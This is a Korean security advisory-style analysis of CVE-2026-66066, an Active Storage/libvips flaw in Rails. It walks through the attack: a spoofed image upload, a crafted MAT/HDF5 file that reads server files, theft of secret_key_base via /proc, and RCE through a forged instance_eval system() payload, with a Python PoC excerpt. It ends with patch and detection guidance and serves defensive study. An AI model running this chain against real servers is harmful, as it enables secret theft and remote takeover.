> 이후 (4) Blob#variable?는 실제 파일 내용이나 형식을 검증하지 않고 저장된 content_type을 허용 목록(variable_content_types)과 비교하여 변환 가능 여부를 결정

[activestorage/app/controllers/active_storage/direct_uploads_controller.rb [8]]
class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) ----- (1)
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys ---- (2)
    end
 
[activestorage/app/models/active_storage/blob.rb [9]
def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
	metadata = filter_metadata(metadata)
  create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name ----- (3)
end
    
[activestorage/app/models/active_storage/blob/representable.rb [10]
def variable?
	ActiveStorage.variable_content_types.include?(content_type) ---- (4)
end
  
[activestorage/lib/active_storage/engine.rb [11]]
config.active_storage.variable_content_types = %w(
	image/png
  image/gif
  image/jpeg
  image/tiff
  image/bmp
  image/vnd.adobe.photoshop
  image/vnd.microsoft.icon
  image/webp
  image/avif
  image/heic
  image/heif
	)

② Variation Key 재사용

- Variation Key는 특정 Blob에 종속되는 것이 아닌, 단순한 변환 파라미터를 secret_key_base 기반으로 생성한 HMAC
> 따라서, 대상 어플리케이션의 응답 등 다른 경로에서 Variation Key를 추출해 새로 생성된 Blob과 결합하여 재사용 가능

[activestorage/app/models/active_storage/variation.rb [12]]
def decode(key)
	ew ActiveStorage.verifier.verify(key, purpose: :variation)
end

 

- 공격자는 /rails/active_storage/direct_uploads URL로 'content_type: image/png' 및 조작된 MAT 파일의 MD5 체크섬을 포함하는 POST 요청을 전송해 파일의 메타데이터를 전송
> 서버가 실제 파일 내용이 아닌 content_type만 검증하여 signed_blob_id와 파일 업로드용 URL을 반환
> 이후 반환된 URL에 조작된 MAT 파일 및 HDF5 파일을 업로드하는 PUT 요청을 전송

1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Blob 메타데이터(filename, byte_size, checksum, content_type, metadata) 등록
   → 서버는 signed_blob_id 및 파일 업로드용 URL(storage_url) 반환

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external payload>
   → 조작된 MAT/HDF5 파일 업로드

③ ImageProcessing Vips 변환 경로 진입

- Variation Key 검증 후 Active Storage는 Blob을 임시 파일로 생성한 후 해당 경로를 image_processing 함수에 전달
> 이때, (1) 특정 loader가 지정되지 않고, 실제 파일 형식 판별을 하위 이미지 처리 라이브러리에 위임
> 또한, (2)(3) :mini_magick 변환에는 validate_transformation()을 적용하고, combine_options은 차단되지만 (4) Vips 변환의 경우 별도의 검증이 적용되지 않음

[activestorage/lib/active_storage/transformers/image_processing_transformer.rb [13]]
def process(file, format:)
	processor.
		source(file).
		loader(page: 0). ---- (1)
		convert(format).
		apply(operations).
	call
end

def operations
	transformations.each_with_object([]) do |(name, argument), list|
		if ActiveStorage.variant_processor == :mini_magick --- (2)
			validate_transformation(name, argument)
		end

		if name.to_s == "combine_options" ---- (3)
			raise ArgumentError, <<~ERROR.squish
				Active Storage's ImageProcessing transformer doesn't support :combine_options,
				as it always generates a single command.
			ERROR
		end

		if argument.present? ---- (4)
			list << [ name, argument ]
		end
	end
end

④ libvips의 실제 파일 기반 loader 선택

- 이후 이미지 처리 파이프라인을 거쳐 ImageProcessing::Vips::Processor에 도달
> (1) loader가 nil이므로, (2) new_from_file()를 호출해, 하위 클래스를 순회하며 실제 파일을 기준으로 loader 선택

[lib/image_processing/vips.rb [14]]
def self.load_image(path_or_image, loader: nil, autorot: true, **options)
	if path_or_image.is_a?(::Vips::Image)
		image = path_or_image
	else
		path = path_or_image

		if loader
			image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
		else ------ (1)
			options = Utils.select_valid_loader_options(path, options)
			image = ::Vips::Image.new_from_file(path, **options) ---- (2)
		end
	end

	image = image.autorot if autorot && !options.key?(:autorotate)
	image
end

 

- libvips는 실제 파일에서 파일 시작 10 Bytes 읽어 "MATLAB 5.0"과 일치할 경우 matload를 선택 [15]
> 따라서 조작된 파일은 libvips가 MAT 파일로 식별할 수 있도록 MATLAB 5.0 문자열이 반드시 포함 되어야 함

int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf))
		return 1;

	return 0;
}

 

- 공격자는 파일 업로드 후 반환된 signed_blob_id 및 Variation Key를 재사용하여 업로드 파일에 대한 GET 요청을 전송

GET /rails/active_storage/representations/redirect/:signed_blob_id/:variation_key/*filename

 

2.2 조작된 MAT/HDF5 파일 구조

- 공격자가 업로드하는 조작된 파일은 libvips가 MATLAB 파일로 인식하고, libmatio가 MAT v7.3/HDF5 파일을 처리할 수 있도록 구성

Bytes 설명
0~9 MATLAB 5.0 libvips가 파일을 MATLAB MAT 파일로 인식하고 matload를 선택하도록 함
124~125 0x0200 - libvips와 libmatio가 판단하는 파일 형식을 다르게 하기 위함
- libmatio는 파일을 연 후 해당 바이트를 읽어 버전 식별 (0x0200은 MAT v7.3을 의미)
- MAT v7.3은 HDF5 기반으로 동작하며, HDF5의 External Storage 기능을 이용해 데이터셋의 실제 데이터를 별도의 파일에서 읽도록 구성할 수 있음
126~127 0x4d49 - Endian indicator (데이터의 바이트 순서 판별에 사용)
512~ HDF5 데이터셋 - HDF5의 External Storage 기능을 이용해 특정 파일에서 데이터를 읽고 libvips는 해당 바이트를 이미지 픽셀로 처리 및 Active Storage가 렌더링된 표현으로 반환

 

- 전체 공격 과정

[임의 파일 읽기]
1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Blob 메타데이터(filename, byte_size, checksum, content_type, metadata) 등록
   → 서버는 signed_blob_id 및 파일 업로드용 URL(storage_url) 반환

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external payload>
   → 조작된 MAT/HDF5 파일 업로드
   
3. GET /rails/active_storage/representations/redirect/:signed_blob_id/:variation_key/poc.png
   → 반환된 signed_blob_id 및 variation_key 재사용을 통한 업로드 파일 접근
   → libvips가 "MATLAB 5.0" 문자열을 감지하여 matload로 라우팅
   → libmatio가 0x0200를 확인해 MAT v7.3으로 판별한 후 HDF5 기반 데이터셋 처리
   → HDF5 External Storage에 지정된 외부 파일의 데이터를 읽어 이미지 데이터로 처리
   → 해당 데이터가 PNG 픽셀에 반영되어 공격자에게 반환

4. PNG 픽셀을 디코딩하여 secret_key_base 추출
   → config/master.key와 config/credentials.yml.enc를 읽고 config/master.key를 이용해 credentials를 복호화하여 secret_key_base 추출
   → 환경 변수에 SECRET_KEY_BASE 또는 RAILS_MASTER_KEY가 설정된 경우 /proc/self/environ을 통해 해당 값 획득
   → 환경 변수에 존재하지 않는 경우에는 /proc/self/maps를 읽은 다음 /proc/self/mem을 읽음

[원격 명령 실행]  
5. secret_key_base를 이용한 Variation Key 위조 및 후속 RCE
   → variation keys 생성 : PBKDF2-HMAC-SHA256(secret_key_base, "ActiveStorage", 1000, 64)
   → {"instance_eval" => "system('cmd > /tmp/out')"} 등 악성 명령에 대한 서명 후 전송

 

2.3 PoC

- 조작된 MAT 파일과 HDF5 파일을 업로드 한 후 해당 파일을 통해 secret_key_base 추출 및 secret_key_base를 악용해 RCE로 확장 [16]

def run(self, host: str, command: str = "id") -> Result:
    """Execute full exploit chain."""

    sess = self._sess()

    # 1. Upload test payload + harvest variation key
    test_payload = craft_mat_external("/etc/hostname", width=64, height=4)
    result = self.upload_payload(host, sess, test_payload)
    if not result:
        return
    signed_id, variation_key = result

    # 2. Test file read
    data = self.read_file(host, sess, signed_id, variation_key, "/etc/hostname",
                          size=256)

    # 3. Recover secrets
    skb = self.recover_secrets(host, sess, signed_id, variation_key)
    if skb:

        # 4. RCE
        output = self.execute(host, sess, skb, command)

    return

3. 대응방안

- 벤더사 제공 업데이트 적용 [17][18]
> 업그레이드 후 BMP·ICO·PSD 변환 실패 시 content type을 config.active_storage.variable_content_types에서 제외하는 방식 우선 검토
> 특정 로더 재활성화는 신뢰할 수 있는 콘텐츠만 처리하는 경로에 한정

취약점제품명영향받는 버전해결 버전

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-66066 Rails 8.1.3.1 미만 8.1.3.1 이상
8.0.5.1 미만 8.0.5.1 이상
7.2.3.2 미만 7.2.3.2 이상

 

- 즉시 업그레이드가 어려울 경우 VIPS_BLOCK_UNTRUSTED 환경변수를 설정 또는 이니셜라이저에서 Vips.block_untrusted(true)를 호출
> 두 방법 모두 libvips 8.13 이상(이니셜라이저 방식은 ruby-vips 2.2.1 이상)이 전제
> ruby-vips를 분석 용도로만 쓰고 있을 경우 의존성 자체 제거

 

- 영향 여부 확인
> Rails.application.config.active_storage.variant_processor 값이 :vips인지 확인
> load_defaults 7.0 이상이면 별도 설정이 없어도 기본값이 :vips

 

- 침해 여부 확인
> 익명 업로드, 가입 직후 프로필 이미지 등록, 일반 사용자의 첨부 파일 업로드처럼 신뢰할 수 없는 사용자가 이미지 파일을 제출할 수 있는 기능을 확인
> 저장된 blob 중 content type은 이미지이나 실제 바이트에 HDF5 시그니처(\x89HDF\r\n\x1a\n)가 포함된 파일이 있는지 점검
> 다이렉트 업로드 엔드포인트로 미첨부 blob이 생성된 직후 해당 blob의 변환본 URL이 조회된 요청 쌍 웹 서버 로그 확인

 

- 침해 의심
> 앱 프로세스가 읽을 수 있었던 모든 비밀 값(secret_key_base, 마스터 키, 스토리지 서비스 키, 데이터베이스 자격증명, 서드파티 토큰)을 폐기 및 재발급

 

- 배포 환경에서 vips --version으로 libvips가 8.13 이상인지 확인
> 8.13 미만이면 패치된 Active Storage가 차단 기능을 켤 수 없어 부팅 시 예외가 발생

4. 참고

[1] https://rubyonrails.org/
[2] https://wikidocs.net/275666
[3] https://nvd.nist.gov/vuln/detail/CVE-2026-66066
[4] https://github.com/rails/rails-forensics-CVE-2026-66066/blob/main/reference/the-attack.md
[5] https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails
[6] https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/
[7] https://www.skshieldus.com/security-insights/trends/eqstnow-rails-active-storage-file-read-rce-cve-2026-66066
[8] https://github.com/rails/rails/blob/v8.0.5/activestorage/app/controllers/active_storage/direct_uploads_controller.rb
[9] https://github.com/rails/rails/blob/eb126bb140127d3589ad9be093a845e24fc4f475/activestorage/app/models/active_storage/blob.rb#L117
[10] https://github.com/rails/rails/blob/eb126bb140127d3589ad9be093a845e24fc4f475/activestorage/app/models/active_storage/blob/representable.rb#L110-L112
[11] https://github.com/rails/rails/blob/eb126bb140127d3589ad9be093a845e24fc4f475/activestorage/lib/active_storage/engine.rb#L35-L47
[12] https://github.com/rails/rails/blob/eb126bb140127d3589ad9be093a845e24fc4f475/activestorage/app/models/active_storage/variation.rb#L35
[13] https://github.com/rails/rails/blob/v8.0.5/activestorage/lib/active_storage/transformers/image_processing_transformer.rb
[14] https://github.com/janko/image_processing/blob/master/lib/image_processing/vips.rb
[15] https://github.com/libvips/libvips/blob/v8.16.1/libvips/foreign/matlab.c
[16] https://github.com/shinthink/CVE-2026-66066
[17] https://rubyonrails.org/2026/7/29/Rails-Versions-7-2-3-2-8-0-5-1-and-8-1-3-1-have-been-released
[18] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72147
[19] https://www.dailysecu.com/news/articleView.html?idxno=207874

+ Recent posts